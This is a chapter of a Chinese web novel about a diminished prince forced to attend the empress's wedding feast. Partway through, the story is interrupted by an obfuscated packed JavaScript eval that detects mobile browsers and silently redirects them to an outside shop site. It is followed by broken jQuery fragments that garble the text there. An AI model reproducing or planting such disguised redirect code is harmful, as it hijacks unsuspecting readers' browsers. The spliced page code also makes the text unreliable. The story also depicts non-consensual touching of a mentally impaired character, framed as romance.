文趣网 > 其他小说 > 世子难逃(GB) > 5. 婚宴
    姜知煦躺在床上,床斜对过就是一扇小小的木窗户。

    他侧躺着,看着窗户外头。

    天高云淡,这几日都是好日子。

    房间里没有蜡烛,晚上又渴又饿,他坐起来。摸了一把木桌,指尖传来刺痛,木桌粗糙、满是倒刺,他舔了舔指尖,有血腥的味儿,很像钱良给他熏的香。

    茶已经冷了,他喝了一口。冷掉的茉莉还是很香,他舔了舔糖冰。

    桂花糕有些不想吃了,他想吃那种大大的热馒头。

    他走出去,沿着墙根一路往热闹的地方走。明日是陛下生命中第一次喜宴,整个宫里都将是个不眠夜。

    他走到最热闹的御膳房,扶着门框往里看,里面热气腾腾的,屉里面蒸着面食,有香味扑出来了。

    往来忙碌的宫人只看到一个穿着灰色袍子的人,散着头发站在那儿,不晓得是哪个宫里眉眼高低的小太监。

    喝他道:“让开让开!”

    他往后退了几步,站在墙角。

    没人搭理他,他不敢上前,又舍不得走。

    他犹犹豫豫转来转去,终于引起旁人的警惕。

    “干什么的?”管事的太监走过来,伸手推了推他的肩膀,“哪个宫里的?抬起头来。”

    姜知煦抬头,一双瑞凤眼瞧着那人。

    管事太监一愣,问他:“要什么?”

    姜知煦说:“馒头。”

    管事太监拍拍身边的小跟班:“去,挑几个装上。”

    姜知煦抱着一大堆馒头走了,明儿宫里喜宴,龙凤花糕、喜字饼、子孙饽饽做了好多,他每个都拿了。

    等他回那厢房,桌子上点了蜡烛,钱良坐在那里。一见着他,蹭地站起来:“你做什么去了?”

    他以为他想不开……

    姜知煦把馒头摊开,放在糙木桌上,挑了一个好看的喜饼给他:“好多热馒头,你吃。”

    钱良拿着喜饼不说话。他也不知怎么了,什么话也说不出来,只是鼻子里发酸。

    “你傻啊你,你怎么能吃下这个?”

    姜知煦正抱着个子孙饽饽啃,他发觉饿的时候,馒头比桂花糕好吃。

    吃饱喝足他爬上床,钱良把那安胎香给点上,又想在他头上扎针,他不愿意。李福全说,陛下要演练册封与大婚流程,今晚定是不会来,他因此敢跟钱良耍横。

    钱良无奈只好放弃,在他下面打了个地铺躺下。

    姜知煦扒着床沿看钱良,他觉得这几日,钱良好像薄了,钱良侧躺着,像囡囡的兽戏牌立了起来。

    等他醒了,外面有着热闹的氛围。

    普天同庆,云朔作为煦安帝唯一的贵君,自此往后,便是六宫之中位份最尊的人。

    馒头冷了,变得硬邦邦的。钱良不肯吃,姜知煦要撕开了吃,钱良吼他:“你如何吃得下?”

    钱良把他手里的馒头抢了,扔在地上,馒头滚的远远的。钱良不解气,还要把馒头踢出去。

    这钱良平日总是一副皮笑肉不笑的模样,像今日这样精神抖擞地发脾气,还是头一回。

    外头哎呦一声,似乎砸到个人,是李福全的声音。

    一进门,瞧见姜知煦蓬头垢面、睡眼惺忪,又哎呦了一声。他手上端着漆盘,上面放着滑溜溜的衣裳。

    李福全摇了摇头,又是唏嘘又是不解:“世子,钱公子,您二位穿上吧,陛下他,陛下他要您同去喜宴。”

    这陛下心思终究难猜。到底还不肯放过吗?

    钱良到底还是个怂的,方才的脾气只敢冲着痴傻了的姜知煦发,此刻心里不愿,嘴上只是虚弱地问:“能不去吗?”

    他指望姜知煦能回光返照,变成那个绝不会受气的世子爷,然而姜知煦只是嗯嗯嗯。

    “快点儿吧,一会儿仪式开始了。”

    身后进来个两个宫女,伺候姜知煦洗漱。

    他脸上有皴裂,宫女给他抹了些香脂油,一番拾掇下来,世子溜光水滑的。

    钱良看直了眼。

    他想起第一次见世子,那天,在麟台学馆的西院。

    他被张廷婴和周恒堵在墙角,要脱衣验身,他不敢反抗、沉默受辱。

    姜知煦从窄道尽头的石阶上下来,他穿着墨青色长衫,头戴纶巾,露出来的几缕乌发垂在身侧。

    他说:“张三。”

    张廷婴作为太尉第三子,生平最讨厌旁人叫他张三。

    他喊他张三。

    张廷婴看清来人,只敢收起眼中厉色,僵着笑脸,喊他:“世子。”

    那双瑞凤眼略过颤抖的钱良,直视张廷婴:“学馆的规矩,酉时之后不得在西院逗留。张公子应该比我清楚。”

    张廷婴带着周恒悻悻离开。

    世子朝他走过来,钱良领口破碎、中衣大敞,世子把自己的罩衫脱下来,披在他肩上。

    世子说:“回吧,天冷了。”

    他问世子:“为何救我?”

    世子垂下眼,看着他说:“我并非对你。换作旁人,我也一样。”

    世子沿来时路走了。墨青色的背影在月色里渐渐淡开。

    那日,是他第一次见世子,世子便是如此好看。

    今天,世子穿着一身新衣,要赴赵春棠的喜宴。

    钱良把世子的鬓发掖在而后,世子刚二十出头,已有隐隐白发,他说:“世子,不好的事情,总会过去。”

    ……

    云朔已册封为云贵君,身为外邦来使,女帝怜惜云贵君在大昭无依。她亲自撮合云贵君认大将军陆鸣渊为义兄,自将军府出嫁,由陆鸣渊亲率骑从,策马护送入宫。

    郎辇行至宫门,落辇。由礼官引导,踏红毯入内,去往主殿。百官侍按品阶分列两侧观礼。

    姜知煦赶在了仪式之前,主殿装点一新,彩灯红绫,一派大婚盛景。

    他躲在门侧看,主座上,海棠穿一身大红喜袍,戴朝冠喜饰,额上的疤痕已经淡的几乎看不出,她满脸喜色,眉眼飞扬。

    她很好看。是他见过最好看的女子。

    钱良拉着他:“看什么看?”

    然而,海棠已经瞧见他,不一会儿,一个小宫人走出来,捅捅他:“陛下已经为世子预备了位子。”

    姜知煦跟着他进去了,他的位子在海棠宝座右侧下一点的,地上。

    那里有一个红软垫,前面摆几个盘子,分别装着瓜果点心。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17944823|214034||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “喜欢吗?与你的婚宴相比,如何?”

    “嗯。”姜知煦只顾着胡乱应声,他似乎在这个宝座底下被拴过,如今再来,也便熟悉了流程,他跪在那软垫上,饿了就吃点心,渴了就吃水果。

    海棠大婚当日还有闲心,勾了勾他的下巴,将他脸抬起来,塞了个葡萄进去。

    她瞧见姜知煦的脸,脸上露出新奇的表情:“今儿倒打扮得好看,可不要喧宾夺主。”

    她这样说着,却把姜知煦拉起来,手揉了揉他嫩豆腐似的脸,而后搂在怀里,她把手伸进他衣服里,今儿他穿的繁琐,层层解开之后,司仪已开始唱诺。

    她匆匆捏了姜知煦一把,才恋恋不舍地推开。

    平日里都是一副皱了吧唧的模样,她好久没见到这样的姜知煦了,叫她想起在麟台山,她那时乔装成巫湘,请教他策论,他低着头认真看着,也是这样的衣冠楚楚,哪里都漂亮。

    姜知煦坐回地上,他好好的衣裳被扯的凌乱,一时系不上,只把最外面的给勉强展平。

    仪仗进了内殿,云朔牵着小小的囡囡,他们都穿的又红又漂亮。囡囡,她长了和海棠一样的吊梢眼,小小年纪已有锋利之势。

    他把嘴里的葡萄咬开,汁水是酸的,钻进喉咙里,差点便呛咳出声。

    他捂着嘴,憋出了几滴泪花。

    海棠不用动,只需云朔向她行礼。她瞥见姜知煦的眼尾,洇着红,提醒他道:“你乖着点,别想着在这大喜的日子闹。”

    姜知煦嗯了一声。

    两人喝了合卺酒,百官祝铸。

    礼成。

    云朔成了海棠的第一个真正意义上的夫君,过往的通房狎伎都算不得什么,往后夫妻同心。

    女帝赐宴,云朔抱着囡囡坐在海棠左侧的高坐上,与女帝一同接受百官道贺。

    一个又一个上前,尤其是那些老臣,祝词又长又臭,间或用眼睛扫着他,连云朔偶尔也把目光放在他身上。

    姜知煦坐在地上,他不喜欢那些人看他,他们的眼神就像钱良手里的银针,叫他惧怕。

    膝盖一软,囡囡不知什么时候从云朔怀里下来,坐在他怀里,往他嘴里塞一块鱼糕。

    囡囡蹭着他,看他的眼睛:“爹爹今日好看,比云贵君还好看。”

    这话被上方的海棠听见,只笑笑摸了摸囡囡的头。

    眼前有一双靴子,陆鸣渊作为便宜国舅,被几方敬了酒,也不知怎的,眼睛看着宝座下方那人。

    那人半跪半坐地靠着座椅,下巴溜尖、双眼泛着雾气,他装点一新,抱着孩子在旁人欢笑的喜宴里,供人观瞻。

    他已告诫自己不要再与他接触,可还是走过去。

    他迎着赵春棠的视线,蹲在姜知煦面前,递给他一杯温热的蜜水:“知煦,哪里不舒服吗?还是你想吃什么?”

    姜知煦被他的酒气熏到,胸中隐隐泛起恶心:“二爷,你躲远些。”

    这话,很像他从前,每次陆鸣渊靠近他,总是被一把推开。

    从前以为他骄矜,如今想来,他是怕暴露自己坤泽的身份。

    他小心翼翼守着这秘密十几载,终究一朝,还是教天下皆知了。